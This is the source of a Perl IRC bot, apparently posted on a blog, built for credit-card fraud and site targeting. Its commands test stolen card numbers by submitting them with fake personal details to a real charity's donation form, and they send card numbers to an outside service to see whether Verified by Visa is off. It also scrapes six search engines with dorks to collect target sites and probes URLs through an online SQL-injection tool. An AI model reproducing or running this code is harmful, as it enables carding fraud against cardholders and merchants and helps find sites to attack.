                $irc_socket->write(" 4Quit brb ".$qmsg."\r\n");
            }
                }

        if($msg{'what'} =~ /\!raw (.*)/)
        {
            my $raw = $1;
            if(&ctrl_admin(\%msg) == 0){
            &respond_to_privmsg(\%msg," 15[ 7RAW 15] 12 SENDING IRC RAW REQUESTED ");
                $irc_socket->write($raw."\r\n");
       
            }
        }

     if($msg{'what'} =~ /^!ip (.*)/)
        {
        my ($iploca) = ($1);
        &respond_to_privmsg(\%msg,"");
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
  $agent->get('http://www.ipligence.com/geolocation');
   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  { local $^W; $agent->current_form->value('ip', ''.$iploca.''); };
  $agent->submit();
  print $agent->content,"\n";
my $ipse=$agent->content;
if ($ipse =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
&respond_to_privmsg(\%msg," 7,1 Ip City 15: 9$city 0| 7Ip Country 15: 9$country 0| 7Continent 15: 9$continent");
}
elsif ($ipse =~/Invalid address or IP not found/){
&respond_to_privmsg(\%msg," 4,1Invalid IP Address!");
}
}




    if($msg{'what'} =~ /\!ccnononononononononononono\s(\d{16})\s(\d{4})\s(\d{3})/)
                    {
                    my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,);        
                    my $var1 = substr($expmes,0,2);
                    my $var2 = substr($expmes,2,4);
                    my $range = 15;
                    my $minimum =100 ;
                    my $random_number = int(rand($range)) + $minimum;
                   
print "inizio mechanize sacha\n";

my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
    $agent->get('https://archive.cyark.org/get-involved');
    $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
    $agent->form_number(1);
  { local $^W; $agent->current_form->value('amount', 'other'); };
  { local $^W; $agent->current_form->value('amountother', '0.1'); };
  { local $^W; $agent->current_form->value('donationfor', 'Wherever most needed'); }
  { local $^W; $agent->current_form->value('fname', 'mark'); };
  { local $^W; $agent->current_form->value('lname', 'smith'); };
  { local $^W; $agent->current_form->value('address1', 'las heras 32'); };
  { local $^W; $agent->current_form->value('city', 'Mebane'); };
  { local $^W; $agent->current_form->value('state', 'AL'); };
  { local $^W; $agent->current_form->value('zip', '05544'); };
  { local $^W; $agent->current_form->value('country', 'United States'); };
  { local $^W; $agent->current_form->value('email', 'movistarsrl1@hotmail.com'); };
  { local $^W; $agent->current_form->value('cctype', 'varType'); };
  { local $^W; $agent->current_form->value('ccnumber', ''.$numerocarta.''); };
  { local $^W; $agent->current_form->value('cvv', ''.$verifica.''); };
  { local $^W; $agent->current_form->value('"exp_month', ''.$var1.''); };
  { local $^W; $agent->current_form->value('"exp_year', ''.$var2.''); };
  $agent->submit();
  print $agent->content,"\n";
my $allo=$agent->content;
if ($allo =~/Thank you for joining CyArk in digitally preserving our shared human history./){
                        my $database = "banklist.txt";
                        open FILE,"$database" or die "Errore nell'apertura: $!";
                        my @results=<FILE>;
                        close FILE;
                        my $bankinfo = $1;
                                                my $nuova = substr($numerocarta,0,6);
                                                foreach my $url (@results){
                                                if($url =~ m/$nuova\|(.*)/){
                            &respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
                                               
                                      
print "card $variable!";                       
}
}
}elsif ($allo =~/Transaction Normal/){
                       
                                                my $database = "banklist.txt";
                        open FILE,"$database" or die "Errore nell'apertura: $!";
                        my @results=<FILE>;
                        close FILE;
                                                my $bankinfo = $1;
                                                my $nuova = substr($numerocarta,0,6);
                                                foreach my $url (@results){
                                                if($url =~ m/$nuova\|(.*)/){
                                                my $bankinfo = $1;
                                                &respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00:  10,1$1 | | | ");


print "card $variable!";
}
}
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. - 14INVALID 0,1- 7,1BANK 00: 10,1$1 ");
}elsif ($allo =~/There was a problem with your order./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! The credit card has expired.");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! is not Valid ");
}elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Invalid Credit Card Number/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
}elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/This transaction requires voice authentication/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! ");
}elsif ($allo =~/Invalid Credit Card Number/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
}
}


        if($msg{'what'} =~ /^!zip\s+(\d{5})/)
        {
        my ($zipcheck) = ($1);
        &respond_to_privmsg(\%msg," 4,10 0Checking Zip... 4 0 $zipcheck");
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  { local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
  $agent->submit();
  print $agent->content,"\n";
my $zipse=$agent->content;
if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
my ($city) = ($1);
my ($state) = ($2);
        &respond_to_privmsg(\%msg," 4,10 0Zipcode State 4 0 $state 4,10 0Zipcode City 4 9 $city");
}
elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
        &respond_to_privmsg(\%msg," 4,10 0Zipcode City 4 0 Zip Not Found!");
}
}


if($msg{'what'} =~ /^!sec\s+(\d{16})/){
            open FILE,"SCRIPTS/ignored.txt";
        my ($numerocarta,) = ($1,$2,$3,$4,);
                my $var1 = substr($expmes,0,2);
                my $var2 = substr($expmes,2,4);
                if (substr($numerocarta,0,1)==4) {
                $varType = 1;
        &respond_to_privmsg(\%msg," 4,1[ 0Checking VBV... 4] 0 $numerocarta");
                }
                if (substr($numerocarta,0,1)==5) {
                $varType = 2;
                &respond_to_privmsg(\%msg," 4,1[ 0Checking MCSC.. 4] 0 $numerocarta");
                }
            print "\n";
            my $agent = WWW::Mechanize->new( autocheck => 1 );
            my $formfiller = WWW::Mechanize::FormFiller->new();
            $agent->env_proxy();
            $agent->get('http://s4l1ty.usr.sh/toolz/vbv/');
            $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
                $agent->form_number(1);
            { local $^W; $agent->current_form->value('cclist', ''.$numerocarta.''); };
                $agent->submit();
                 print $agent->content,"\n";
                 my $allo=$agent->content;
                if ($allo =~/color=green>Probably Non VBV/){
                        &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
                }
                if ($allo =~/color=green>Probably Non VBV/){
                        &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
                }
                if ($allo =~/color=red>Probably VBV Active/){
                        &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
                }
                    if ($allo =~/color=red>Probably VBV Active/){
                        &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
                }
                if ($allo =~/Not found in Database/) {
                    &respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 7Enabled!");
                }
                    toEnd:
                                }

}
}
sub ctrl_admin()
{
    my $data = $_[0];
    foreach my $admin ( HackAttack )
    {
        if($admin eq $data->{'from'})
        {
            return(0);
        }
    }
    &respond_to_privmsg($data," 4YOU ARE NOT MY ADMIN");
    return(-1);
}

sub respond_to_privmsg()
{
    my ($data,$m) = ($_[0],$_[1]);
    if($data->{'to'} =~ /#/)
    {
        &privmsg($data->{'to'},$m);
    }
    else
    {
        &privmsg($data->{'from'},$m);
    }
}

sub privmsg()
{
    my($nick,$send) = @_;
    $irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
}

sub join_all()
{
    foreach my $chan ( @chan )
    {
        $irc_socket->write("JOIN ".$chan."\r\n");
    }
}

sub get_msg()
{
    my $line = $_[0];
    my %data;
    #:Mic22!~Blin[k]-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
    if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
    {
#$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
        $data{'from'} = $1;
        $data{'to'}   = $3;
        $data{'what'} = $4;
    }
    return(%data);
}

sub http_request()
{
    my($site,$request,$ua,$resp,$cnt);
    $site    =  $_[0];
    $site    =~ s/[\r\n]//g; 
    $request =  HTTP::Request->new(GET => $site);
    $ua      =  LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
    $ua->timeout($timeout);
    $resp    =  $ua->request($request);
    $cnt     =  $resp->content();
    return($cnt);
}

sub get_user_agents()
{
    my @us_ag = (
    "Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
    "Opera/8.5 (X11; Linux i686; U; cs)",
    "Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
    );
    return(@us_ag);
}

sub get_all_host()
{
    my $site =  $_[0];
    my @dirs =  ();
    my @ret  =  ();
    my $tmp  =  "";
    $site    =~ s/http:\/\///g;
    $site    =~ s/[\r\n]//g;
    $site    =~ s/\/\///g;
    if($site !~ /\/$/)
    {
        $site .= "/";
    }

    @dirs = split(/\//,$site);
    $tmp = $dirs[0] . "/";
    push(@ret,$tmp);
   
    for($i = 1; $i < scalar(@dirs); $i++)
    {
        $tmp .= $dirs[$i] . "/";
        push(@ret,$tmp);
    }
   
    return(@ret);
}

sub urlencode()
{
  my $str = $_[0];
  $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  return $str;
}

sub unique()
{
    my @unici = ();
    my %visti = ();
    foreach my $elemento (@_) {
        $elemento =~ s/\/+/\//g;
        next if $visti{$elemento}++;
        push @unici, $elemento;
    }
    return @unici;
}

sub find_all_sites()
{
    my ($data,$dork)  =  @_;
    my $tmp_file_name =  rand(999999) . ".txt";
    my @pids_array    =  ();
    my @data_links    =  ();
    my @site_finded   =  ();
    my @site_cleaned  =  ();
    $dork             =~ s/[\r\n]//g;
   
    &respond_to_privmsg($data," 15[ 7INFO 15] 12 START TO FIND ALL SITES FOR \"".$dork."\" ");

    $pids_array[0] = fork();
    if($pids_array[0] == 0)
    {
        @data_links = &google($dork);
        &respond_to_privmsg($data," 15[ 7GOOGLE 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }
   
    $pids_array[1] = fork();
    if($pids_array[1] == 0)
    {
        @data_links = &yahoo($dork);
        &respond_to_privmsg($data," 15[ 7YAHOO 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }
   
    $pids_array[2] = fork();
    if($pids_array[2] == 0)
    {
        @data_links = &altavista($dork);
        &respond_to_privmsg($data," 15[ 7ALTAVISTA 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }
   
    $pids_array[3] = fork();
    if($pids_array[3] == 0)
    {
        @data_links = &msn($dork);
        &respond_to_privmsg($data," 15[ 7BiNG 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }

    $pids_array[4] = fork();
    if($pids_array[4] == 0)
    {
        @data_links = &ask($dork);
        &respond_to_privmsg($data," 15[ 7ASK.COM 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }

    $pids_array[5] = fork();
    if($pids_array[5] == 0)
    {
        @data_links = &webcrawler($dork);
        &respond_to_privmsg($data," 15[ 7WEBCRAWLER 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
        &write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
        exit(0);
    }
   
    foreach my $pid_one ( @pids_array )
    {
        waitpid($pid_one,0);
    }
   
    @site_finded = &read_all_file_array($tmp_file_name);
    &respond_to_privmsg($data," 15[ 7INFO 15] 12 TOTAL SITES FINDED: ".scalar(@site_finded)." ");
    @site_cleaned = &unique(@site_finded);
    &respond_to_privmsg($data," 15[ 7INFO 15] 12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." ");
    unlink($tmp_file_name);
    return(@site_cleaned);
}

sub canghecmd()
{
    my $n = $_[0];
    push(@botcmd,$n);
}

sub read_all_file_array()
{
    my $file = $_[0];
    my @ret  = ();

    open(FILE,'<',$file);
    while($a = <FILE>)
    {
        $a =~ s/[\r\n]//g;
        push(@ret,$a);
    }
    close(FILE);
   
    return(@ret);
}

sub write_to_file_array()
{
    my ($file,$data,$scal) = @_;
    for($i = 0; $i < $scal; $i++)
    {
        &write_to_file($file,$data->[$i]);
    }
}

sub write_to_file()
{
    my($file,$data) = @_;
    open(FILE,'>>',$file);
    print FILE $data . "\n";
    close(FILE);
}

sub google()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 300; $i += 100)
    {
        $html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N");
    }
   
    while($html =~ m/<li class=g><h3 class=r><a href=\"http:\/\/(.+?)\" class=l/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub altavista()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 1000; $i += 10)
    {
        $html .= &http_request("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&q=".$dork."&stq=".$i);
    }
   
    while($html =~ m/<span class=ngrn>(.+?) <\/span>/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub yahoo()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 1000; $i += 100)
    {
        $html .= &http_request("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=100&start=".$i);
    }
   
    while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g)
    {
        my $link = $1;
        if($link !~ /yahoo/)
        {
            my @tmp_link = &get_all_host($link);
            push(@results,@tmp_link);
        }
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub msn()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 1000; $i += 10)
    {
        $html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE");
    }
   
    while($html =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub ask()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 9; $i += 1)
    {               
        $html .= &http_request("http://it.ask.com/web?q=".$dork."&o=312&l=dir&qsrc=0&dm=all&page=".$i);
    }
   
    while($html =~ m/class=\"L4\" href=\"(.+?)\" onmousedown/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}


sub webcrawler()
{
    my $dork    = &urlencode($_[0]);
    my $html    = "";
    my @results = ();
    my @unique_links = ();
   
    for($i = 0; $i < 100; $i += 10)
    {               
        $html .= &http_request("http://www.webcrawler.com/webcrawler/ws/results/Web/".$dork."/3/0/0/Relevance/zoom=off/qi=".$i."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
    }
   
    while($html =~ m/target=\"_blank\">(.+?)<\/a>/g)
    {
        my @tmp_link = &get_all_host($1);
        push(@results,@tmp_link);
    }
   
    @unique_links = &unique(@results);

    return(@unique_links);
}

sub racchiudi
{
chomp($website);
chop($website);
my $website = shift;
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();

  $agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website");
   $agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
  $agent->submit();
print "ecco: $website--\n";
if ($agent->content() =~/Version\: \<font color\=red\>(.*?)<\/font>/) {
                &respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 Version: ".$1." ");
print "versione ".$1." ";
}else{
$irc_socket->write("PRIVMSG ".$chans[1].": Impossibile cliccare su $website \r\n");
}
}



MKRdezign

Formulir Kontak

Nama

Email *

Pesan *

Diberdayakan oleh Blogger.
Javascript DisablePlease Enable Javascript To See All Widget